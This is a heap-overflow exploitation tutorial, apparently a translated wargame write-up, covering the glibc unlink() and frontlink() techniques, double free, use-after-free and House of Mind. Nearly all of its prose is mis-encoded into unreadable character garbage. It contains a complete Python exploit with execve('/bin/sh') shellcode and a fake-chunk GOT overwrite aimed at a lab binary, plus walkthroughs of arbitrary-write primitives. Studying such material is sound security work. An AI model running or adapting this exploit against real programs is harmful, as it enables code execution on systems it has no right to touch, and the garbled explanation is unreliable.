рдлреНрд░реА рдЯреБрдХрдбрд╝реЗ рдПрдХ рдбрдмрд▓ рд▓рд┐рдВрдХреНрдб рд▓рд┐рд╕реНрдЯ (рдмрд┐рди) рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдХрднреА рднреА рджреЛ рдлреНрд░реА рдЯреБрдХрдбрд╝реЗ рдПрдХ рд╕рд╛рде рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ (рд╡реЗ рдорд┐рд▓ рдЬрд╛рддреЗ рд╣реИрдВ)ред
тАЬsizeтАЭ рдореЗрдВ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд┐рдЯ рд╣реЛрддреЗ рд╣реИрдВ: рдпрджрд┐ рдкрд┐рдЫрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдпрджрд┐ рдЯреБрдХрдбрд╝рд╛ mmap() рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЯреБрдХрдбрд╝рд╛ рдкреНрд░рд╛рдердорд┐рдХ рдПрд░реЗрдирд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред
рдпрджрд┐ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдореБрдХреНрдд рдХрд░рддреЗ рд╕рдордп рдХреЛрдИ рднреА рдЖрд╕рдиреНрди рдлреНрд░реА рд╣реИ, рддреЛ рдЗрдирдХрд╛ рд╡рд┐рд▓рдп unlink() рдореИрдХреНрд░реЛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдирдП рдмрдбрд╝реЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ frontlink() рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рдЙрдЪрд┐рдд рдмрд┐рди рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХреЗред
unlink(){
BK = P->bk; тАФ> рдирдП рдЯреБрдХрдбрд╝реЗ рдХрд╛ BK рд╡рд╣реА рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдлреНрд░реА рдерд╛
FD = P->fd; тАФ> рдирдП рдЯреБрдХрдбрд╝реЗ рдХрд╛ FD рд╡рд╣реА рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдлреНрд░реА рдерд╛
FD->bk = BK; тАФ> рдЕрдЧрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ BK рдирдП рдЯреБрдХрдбрд╝реЗ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ
BK->fd = FD; тАФ> рдкрд┐рдЫрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ FD рдирдП рдЯреБрдХрдбрд╝реЗ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ
}
рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо P->bk рдХреЛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдкрддреЗ рд╕реЗ рдФрд░ P->fd рдХреЛ GOT рдпрд╛ DTORS рдореЗрдВ 12 рдХрдо рдХреЗ рдкрддреЗ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддреЗ рд╕рдордп рд╢реЗрд▓рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, unlink() рдХрд╛ 4рд╡рд╛рдВ рдХрдерди рдХреБрдЫ рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрд╕рдХреЗ рд▓рд┐рдП рдорд░рдореНрдордд рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) тАФ> рдпрд╣ рд╢реЗрд▓рдХреЛрдб рдХреЗ 8рд╡реЗрдВ рдмрд╛рдЗрдЯ рд╕реЗ 4 рдмрд╛рдЗрдЯ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрд╣рд▓рд╛ рдирд┐рд░реНрджреЗрд╢ рдПрдХ jmp рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЗрд╕реЗ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЗ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдЗрд╕рд▓рд┐рдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
buffer1 рдореЗрдВ рд╣рдо рд╢реЗрд▓рдХреЛрдб рдбрд╛рд▓рддреЗ рд╣реИрдВ, рдЬреЛ рдПрдХ jmp рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ nops рдпрд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ рдЧрд┐рд░ рдЬрд╛рдПред
рд╢реЗрд▓рдХреЛрдб рдХреЗ рдмрд╛рдж рд╣рдо рдЕрдЧрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ prev_size рдФрд░ size рдлрд╝реАрд▓реНрдб рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рднрд░рд╛рдИ рдбрд╛рд▓рддреЗ рд╣реИрдВред рдЗрди рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╣рдо 0xfffffff0 рдбрд╛рд▓рддреЗ рд╣реИрдВ (рдЗрд╕ рдкреНрд░рдХрд╛рд░ prev_size рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдмрд┐рдЯ рдпрд╣ рдХрд╣реЗ рдХрд┐ рдпрд╣ рдлреНрд░реА рд╣реИ) рдФрд░ тАЬ-4тАЬ(0xfffffffc) size рдореЗрдВ (рддрд╛рдХрд┐ рдЬрдм рддреАрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдП рдХрд┐ рдХреНрдпрд╛ рджреВрд╕рд░рд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдлреНрд░реА рдерд╛, рддреЛ рдпрд╣ рд╕рдВрд╢реЛрдзрд┐рдд prev_size рдкрд░ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдЙрд╕реЗ рдмрддрд╛рдПрдЧрд╛ рдХрд┐ рдпрд╣ рдлреНрд░реА рд╣реИ) -> рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЬрдм free() рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛, рддреЛ рдпрд╣ рддреАрд╕рд░реЗ рдХреЗ size рдкрд░ рдЬрд╛рдПрдЧрд╛ рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рджреВрд╕рд░реЗ рдкрд░ -4 рдкрд░ рдЬрд╛рдПрдЧрд╛ рдФрд░ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ рджреВрд╕рд░рд╛ рдЯреБрдХрдбрд╝рд╛ рдлреНрд░реА рд╣реИред рдФрд░ рдлрд┐рд░ рдпрд╣ unlink() рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ред
unlink() рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп, P->fd рдХреЗ рд░реВрдк рдореЗрдВ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ рдкрд╣рд▓реЗ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рд▓рд┐рдП рд╡рд╣рд╛рдВ рд╡рд╣ рдкрддрд╛ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬрд┐рд╕реЗ рдЖрдк рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ -12 (рдХреНрдпреЛрдВрдХрд┐ FD->bk рдореЗрдВ рд╡рд╣ FD рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрддреЗ рдореЗрдВ 12 рдЬреЛрдбрд╝реЗрдЧрд╛)ред рдФрд░ рдЙрд╕ рдкрддреЗ рдкрд░ рд╡рд╣ рджреВрд╕рд░рд╛ рдкрддрд╛ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрд┐рд╕реЗ рд╣рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдкрддреЗ (P->bk рдЭреВрдард╛) рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<IтАЭ, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo est├б libre est├й a 1
fake_size = pack("<IтАЭ, 0xfffffffc) #-4, para que piense que el тАЬsizeтАЭ del 3┬║ trozo est├б 4bytes detr├бs (apunta a prev_size) pues es ah├н donde mira si el 2┬║ trozo est├б libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Direcci├│n de free() en la plt-12 (ser├б la direcci├│n que se sobrescrita para que se lanza la shellcode la 2┬║ vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque s├н
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2┬║ trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
рд╣рдо 3 рд▓рдЧрд╛рддрд╛рд░ рдЯреБрдХрдбрд╝реЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рдХреНрд░рдо рдореЗрдВ рдЙрд▓рдЯ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ:
рдЯреБрдХрдбрд╝рд╛ c рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЯреБрдХрдбрд╝рд╛ a рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдо b рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ size рдореЗрдВ PREV_INUSE рдмрд┐рдЯ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рддрд╛рдХрд┐ рдпрд╣ рд╕реЛрдЪреЗ рдХрд┐ рдЯреБрдХрдбрд╝рд╛ a рдлреНрд░реА рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдо b рдХреЗ рд╣реЗрдбрд░ рдореЗрдВ size рдХреЛ -4 рдХреЗ рд▓рд┐рдП рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреЗ рд╣реИрдВред
рдЗрд╕рд▓рд┐рдП, рдХрд╛рд░реНрдпрдХреНрд░рдо рдпрд╣ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ тАЬaтАЭ рдлреНрд░реА рд╣реИ рдФрд░ рдПрдХ рдмрд┐рди рдореЗрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ unlink() рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдЗрд╕реЗ рдЕрдирд▓рд┐рдВрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЪреВрдВрдХрд┐ рд╣реЗрдбрд░ PREV_SIZE -4 рд╣реИред рдпрд╣ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ тАЬaтАЭ рдХрд╛ рдЯреБрдХрдбрд╝рд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ b+4 рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдЕрд░реНрдерд╛рддреН, рдпрд╣ unlink() рдХреЛ b+4 рдореЗрдВ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдЯреБрдХрдбрд╝реЗ рдкрд░ рдХрд░реЗрдЧрд╛, рдЗрд╕рд▓рд┐рдП b+12 рдореЗрдВ тАЬfdтАЭ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрдЧрд╛ рдФрд░ b+16 рдореЗрдВ тАЬbkтАЭ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрдЧрд╛ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд╣рдо bk рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдкрддреЗ рдХреЛ рдбрд╛рд▓рддреЗ рд╣реИрдВ рдФрд░ fd рдореЗрдВ тАЬputs()тАЭ рдХреЗ рдкрддреЗ рдХреЛ -12 рдбрд╛рд▓рддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╣рдорд╛рд░рд╛ рдкреЗрд▓реЛрдб рд╣реЛрдЧрд╛ред
рдлреНрд░рдВрдЯрд▓рд┐рдВрдХ рддрдХрдиреАрдХ
рдЬрдм рдХреБрдЫ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдХреЛрдИ рднреА рдЖрд╕рдиреНрди рдЯреБрдХрдбрд╝реЗ рдлреНрд░реА рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕реЗ рдлреНрд░рдВрдЯрд▓рд┐рдВрдХ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, unlink() рдХреЛ рдирд╣реАрдВ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рд╕реАрдзреЗ frontlink() рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдпрд╣ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рд╣рдорд▓реЗ рдХрд╛ malloc рдХрднреА рднреА рдореБрдХреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ (free())ред
рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ:
рдПрдХ рдмрдлрд░ рдЬреЛ рдбреЗрдЯрд╛ рдЗрдирдкреБрдЯ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдУрд╡рд░рдлреНрд▓реЛ рд╣реЛ рд╕рдХреЗред
рдПрдХ рдмрдлрд░ рдЬреЛ рдЗрд╕рдХреЗ рдмрдЧрд▓ рдореЗрдВ рд╣реЛ рдЬрд┐рд╕реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЬрд┐рд╕рдХреЗ рд╣реЗрдбрд░ рдХреЗ fd рдлрд╝реАрд▓реНрдб рдХреЛ рдкрд┐рдЫрд▓реЗ рдмрдлрд░ рдХреЗ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рдХрд╛рд░рдг рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдПрдХ рдмрдлрд░ рдЬрд┐рд╕реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЖрдХрд╛рд░ 512 рд╕реЗ рдмрдбрд╝рд╛ рд▓реЗрдХрд┐рди рдкрд┐рдЫрд▓реЗ рдмрдлрд░ рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдПрдХ рдмрдлрд░ рдЬреЛ рддреАрд╕рд░реЗ рдЪрд░рдг рд╕реЗ рдкрд╣рд▓реЗ рдШреЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдЬреЛ рдЗрд╕ prev_size рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реЛред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рджреЛ mallocs рдореЗрдВ рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рд░реВрдк рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдФрд░ рдПрдХ рдореЗрдВ рдирд┐рдпрдВрддреНрд░рд┐рдд рд░реВрдк рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрдХрд░, рд╣рдо рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдбрдмрд▓ рдлреНрд░реА() рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛
рдпрджрд┐ рдПрдХ рд╣реА рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд╕рд╛рде free() рдХреЛ рджреЛ рдмрд╛рд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рджреЛ рдмрд┐рди рдПрдХ рд╣реА рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреЗ рд╣реИрдВред
рдпрджрд┐ рдХрд┐рд╕реА рдХреЛ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕реЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╕рдорд╕реНрдпрд╛ рдХреЗ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕реЗ рдЙрд╕реА рд╕реНрдерд╛рди рдкрд░ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░реЗ рдкрд╛рд╕ тАЬfdтАЭ рдФрд░ тАЬbkтАЭ рдкреЙрдЗрдВрдЯрд░реНрд╕ рд╣реЛрдВрдЧреЗ рдЬреЛ рдкрд┐рдЫрд▓реЗ рдЖрд╡рдВрдЯрди рдХреЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЭреВрдареЗ рд╣реЛрдВрдЧреЗред
рдлреНрд░реА() рдХреЗ рдмрд╛рдж
рдПрдХ рдкрд╣рд▓реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкреЙрдЗрдВрдЯрд░ рдмрд┐рдирд╛ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
8 рд╣реАрдк рдУрд╡рд░рдлреНрд▓реЛ: рдЙрдиреНрдирдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ
unlink() рдФрд░ FrontLink() рдХреА рддрдХрдиреАрдХреЛрдВ рдХреЛ unlink() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ред
рдж рд╣рд╛рдЙрд╕ рдСрдл рдорд╛рдЗрдВрдб
рдХреЛрдб рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ free() рдХреЙрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдПрдХ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдХреА рддрд▓рд╛рд╢ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдкреВрд░реНрд╡рд╡рд░реНрддреА рджреНрд╡рд╛рд░рд╛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдПрдХ free() рдХреЙрд▓ public_fREe(mem) рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддреА рд╣реИ, рдпрд╣ рдХрд░рддрд╛ рд╣реИ:
mstate ar_ptr;
mchunkptr p;
тАж
p = mem2chunk(mem); тАФ> рд╡рд╣ рдкрддрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЯреБрдХрдбрд╝рд╛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ (mem-8)
тАж
ar_ptr = arena_for_chunk(p); тАФ> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
тАж
_int_free(ar_ptr, mem);
}
[1] рдореЗрдВ, рдпрд╣ size рдлрд╝реАрд▓реНрдб рдХреЛ NON_MAIN_ARENA рдмрд┐рдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЬрд╛рдВрдЪ рд╕рддреНрдп рд▓реМрдЯрд╛рдП рдФрд░ heap_for_ptr() рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЬреЛ тАЬmemтАЭ рдкрд░ рдПрдХ рдФрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ 2.5 рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯреНрд╕ 0 рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ (рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ 0x0804a000 рд╕реЗ 0x08000000 рдЫреЛрдбрд╝рддрд╛ рд╣реИ) рдФрд░ 0x08000000->ar_ptr (рдЬреИрд╕реЗ рдХрд┐ рдпрд╣ рдПрдХ struct heap_info рд╣реЛ) рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд╣рдо 0x0804a000 рдкрд░ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ 0x081002a0 рдкрд░ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╣рдо 0x08100000 рдкрддреЗ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЬреЛ рдЪрд╛рд╣реЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ 0x0804a000ред рдЬрдм рдпрд╣ рджреВрд╕рд░рд╛ рдЯреБрдХрдбрд╝рд╛ рдореБрдХреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдкрд╛рдПрдЧрд╛ рдХрд┐ heap_for_ptr(ptr)->ar_ptr 0x08100000 рдореЗрдВ рдЬреЛ рд╣рдордиреЗ рд▓рд┐рдЦрд╛ рд╣реИ, рдЙрд╕реЗ рд▓реМрдЯрд╛рддрд╛ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рдкрд╣рд▓реЗ рджреЗрдЦреЗ рдЧрдП рдФрд░ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ рдкрд╣рд▓реЗ 4 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдорд╛рди рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛, ar_ptr)ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, _int_free(ar_ptr, mem) рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рддреН, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
тАж
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рджреЗрдЦрд╛, рд╣рдо av рдХреЗ рдорд╛рди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ рд╣рдо рдЙрд╕ рдЯреБрдХрдбрд╝реЗ рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЬреИрд╕рд╛ рдХрд┐ unsorted_chunks рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
